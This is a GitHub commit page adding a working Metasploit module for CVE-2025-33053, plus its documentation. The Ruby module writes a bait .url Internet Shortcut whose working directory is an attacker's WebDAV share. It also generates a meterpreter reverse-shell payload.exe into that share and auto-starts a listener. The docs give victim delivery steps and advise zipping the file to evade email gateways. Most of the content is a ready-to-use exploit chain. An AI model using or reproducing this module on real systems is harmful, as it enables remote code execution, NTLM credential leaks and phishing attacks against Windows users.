Skip to content

Commit f81ddf8

Browse files
committed
Add some features for CVE-2025-33053 exploit module
1 parent 98389f2 commit f81ddf8

File tree

2 files changed

+242
-0
lines changed

2 files changed

+242
-0
lines changed
Lines changed: 149 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,149 @@
1+
## Vulnerable Application
2+
3+
CVE-2025-33053 - Internet Shortcut (.url) UNC Path Exploit
4+
5+
Windows improperly handles `.url` (Internet Shortcut) files referencing remote
6+
UNC paths.
7+
Specifically, `.url` files that specify a remote working directory
8+
(`WorkingDirectory=\\attacker\webdav`) and a trusted executable (e.g.,
9+
`iediagcmd.exe`)
10+
may cause the system to access the attacker's server when opened.
11+
12+
This behavior can be exploited to:
13+
14+
- Trigger NTLM authentication leaks (SMB relay)
15+
- Load remote payloads via WebDAV shares
16+
- Attempt DLL sideloading if conditions allow
17+
18+
## Affected Versions
19+
20+
- Windows 10 22H2
21+
- Windows 11 23H2
22+
- Fully patched prior to June 2025 Patch Tuesday
23+
24+
## Verification Steps
25+
26+
1. Let the module setup WebDAV or do it manually
27+
2. Use the module to generate a `.url` file
28+
3. Deliver the `.url` to the target (email, USB, zip)
29+
4. On victim machine, open `.url`
30+
5. Observe connection back to WebDAV server
31+
32+
## Overview
33+
34+
This module generates a malicious `.url` Internet Shortcut file that abuses
35+
CVE-2025-33053 —
36+
a vulnerability in how Windows handles `.url` files referencing remote UNC
37+
paths.
38+
39+
When opened on a vulnerable system, the `.url` causes the system to connect to a
40+
UNC path
41+
(e.g., a WebDAV share), triggering an attempt to execute a trusted binary
42+
from the attacker's location. This can result in RCE or credential leaks.
43+
44+
It supports:
45+
46+
- Auto-generating a reverse shell payload
47+
- Hosting the payload in a WebDAV share
48+
- Launching a Metasploit handler
49+
50+
## Module Information
51+
52+
**Module Name**: exploits/windows/fileformat/cve_2025_33053
53+
**Authors**:
54+
55+
- Dev Bui Hieu
56+
57+
**Disclosure Date**: 2025-06-11
58+
**License**: MSF_LICENSE
59+
**Rank**: Normal
60+
61+
## Options
62+
63+
### GEN_PAYLOAD
64+
65+
Whether to generate payload and move to WebDAV directory (default: true)
66+
67+
### START_LISTENER
68+
69+
Whether to auto-start a Metasploit multi/handler (default: true)
70+
71+
### WEBDAV_DIR
72+
73+
WebDAV folder for payload and .url (default: /var/www/webdav)
74+
75+
### OUTFILE
76+
77+
Output .url filename (default: bait.url)
78+
79+
### LOLBAS_EXE
80+
81+
Path to a trusted executable to launch (default: iediagcmd.exe)
82+
83+
### ICON_PATH
84+
85+
Icon used for the shortcut (default: msedge.exe)
86+
87+
### ICON_INDEX
88+
89+
Index of the icon in the icon file (default: 13)
90+
91+
### MODIFIED_HEX
92+
93+
Modified timestamp value for the .url file (default: 20F06BA06D07BD014D)
94+
95+
## Scenarios
96+
97+
You can use this module in:
98+
99+
- Phishing simulations
100+
- Red team operations
101+
- Awareness training
102+
- DLL sideloading test
103+
- Drive-by UNC path abuse
104+
105+
## Example Usage
106+
107+
```console
108+
use exploits/windows/fileformat/cve_2025_33053
109+
set LHOST 192.168.1.10
110+
run
111+
```console
112+
113+
Optional:
114+
115+
```console
116+
set WEBDAV_DIR /var/www/webdav
117+
set OUTFILE clickme.url
118+
set PAYLOAD windows/x64/meterpreter/reverse_http
119+
set START_LISTENER true
120+
run
121+
```console
122+
123+
## Output
124+
125+
Example .url file:
126+
127+
```console
128+
[InternetShortcut]
129+
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
130+
WorkingDirectory=\\192.168.1.10\webdav\
131+
ShowCommand=7
132+
IconIndex=13
133+
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
134+
Modified=20F06BA06D07BD014D
135+
```console
136+
137+
## References
138+
139+
- [GitHub PoC](https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept)
140+
- [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2025-33053)
141+
- [LOLBAS Project](https://lolbas-project.github.io)
142+
- [Microsoft Advisory](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33053)
143+
144+
## Notes
145+
146+
- Payload hosted via WebDAV must be reachable from the victim
147+
- On patched systems, SmartScreen or Defender may block the connection
148+
- Zip `.url` to evade email gateway protections
149+
- Listener starts automatically if `START_LISTENER` is true
Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
require 'msf/core'
2+
require 'fileutils'
3+
4+
class MetasploitModule < Msf::Exploit::Remote
5+
Rank = NormalRanking
6+
7+
def initialize(info = {})
8+
super(update_info(info,
9+
'Name' => 'CVE-2025-33053 Exploit via Malicious .URL File and WebDAV',
10+
'Description' => %q{
11+
This module creates a malicious .URL file that abuses CVE-2025-33053,
12+
optionally sets up a WebDAV server, generates a payload, places it into
13+
the WebDAV directory, and can launch a listener automatically.
14+
},
15+
'Author' => ['Dev Bui Hieu'],
16+
'License' => MSF_LICENSE,
17+
'DisclosureDate' => '2025-06-11',
18+
'References' => [
19+
['CVE', '2025-33053'],
20+
['URL', 'https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept']
21+
]
22+
))
23+
24+
register_options(
25+
[
26+
OptString.new('LHOST', [true, 'Local host for reverse connection']),
27+
OptInt.new('LPORT', [true, 'Local port for reverse connection', 4444]),
28+
OptString.new('PAYLOAD', [true, 'Payload to generate', 'windows/x64/meterpreter/reverse_tcp']),
29+
OptBool.new('GEN_PAYLOAD', [true, 'Generate payload and move to WebDAV directory', true]),
30+
OptBool.new('START_LISTENER', [true, 'Start handler after setup', true]),
31+
OptString.new('WEBDAV_DIR', [true, 'WebDAV directory path', '/var/www/webdav']),
32+
OptString.new('OUTFILE', [true, 'Output URL file name', 'bait.url']),
33+
OptString.new('LOLBAS_EXE', [true, 'Path to trusted binary (LOLBAS)', 'C:\\Program Files\\Internet Explorer\\iediagcmd.exe']),
34+
OptString.new('ICON_PATH', [true, 'Icon file path', 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe']),
35+
OptInt.new('ICON_INDEX', [true, 'Icon index in icon file', 13]),
36+
OptString.new('MODIFIED_HEX', [true, 'Modified timestamp in hex', '20F06BA06D07BD014D'])
37+
]
38+
)
39+
end
40+
41+
def run
42+
lhost = datastore['LHOST']
43+
lport = datastore['LPORT']
44+
payload_type = datastore['PAYLOAD']
45+
webdav_dir = datastore['WEBDAV_DIR']
46+
gen_payload = datastore['GEN_PAYLOAD']
47+
start_listener = datastore['START_LISTENER']
48+
49+
print_status("Creating WebDAV directory if not exists...")
50+
FileUtils.mkdir_p(webdav_dir) unless File.directory?(webdav_dir)
51+
52+
if gen_payload
53+
exe_path = File.join(webdav_dir, 'payload.exe')
54+
print_good("Generating payload at: #{exe_path}")
55+
generate_payload_exe(payload_type, lhost, lport, exe_path)
56+
end
57+
58+
unc_path = "\\\\#{lhost}\\#{File.basename(webdav_dir)}\\"
59+
url_content = <<~EOF
60+
[InternetShortcut]
61+
URL=#{datastore['LOLBAS_EXE']}
62+
WorkingDirectory=#{unc_path}
63+
ShowCommand=7
64+
IconIndex=#{datastore['ICON_INDEX']}
65+
IconFile=#{datastore['ICON_PATH']}
66+
Modified=#{datastore['MODIFIED_HEX']}
67+
EOF
68+
69+
url_file = File.join(Msf::Config.local_directory, datastore['OUTFILE'])
70+
File.write(url_file, url_content)
71+
print_good(".URL file written to: #{url_file}")
72+
73+
if start_listener
74+
print_status("Starting handler as background job...")
75+
handler = framework.exploits.create('multi/handler')
76+
handler.datastore['PAYLOAD'] = payload_type
77+
handler.datastore['LHOST'] = lhost
78+
handler.datastore['LPORT'] = lport
79+
handler.exploit_simple('RunAsJob' => true)
80+
end
81+
82+
print_status("Module complete. Deliver #{url_file} to victim.")
83+
end
84+
85+
def generate_payload_exe(payload, lhost, lport, output_path)
86+
exe = framework.payloads.create(payload)
87+
exe.datastore['LHOST'] = lhost
88+
exe.datastore['LPORT'] = lport
89+
raw = exe.generate
90+
exe_file = Rex::Text.to_win32pe(raw, exe.arch)
91+
File.open(output_path, 'wb') { |f| f.write(exe_file) }
92+
end
93+
end

0 commit comments

Comments
 (0)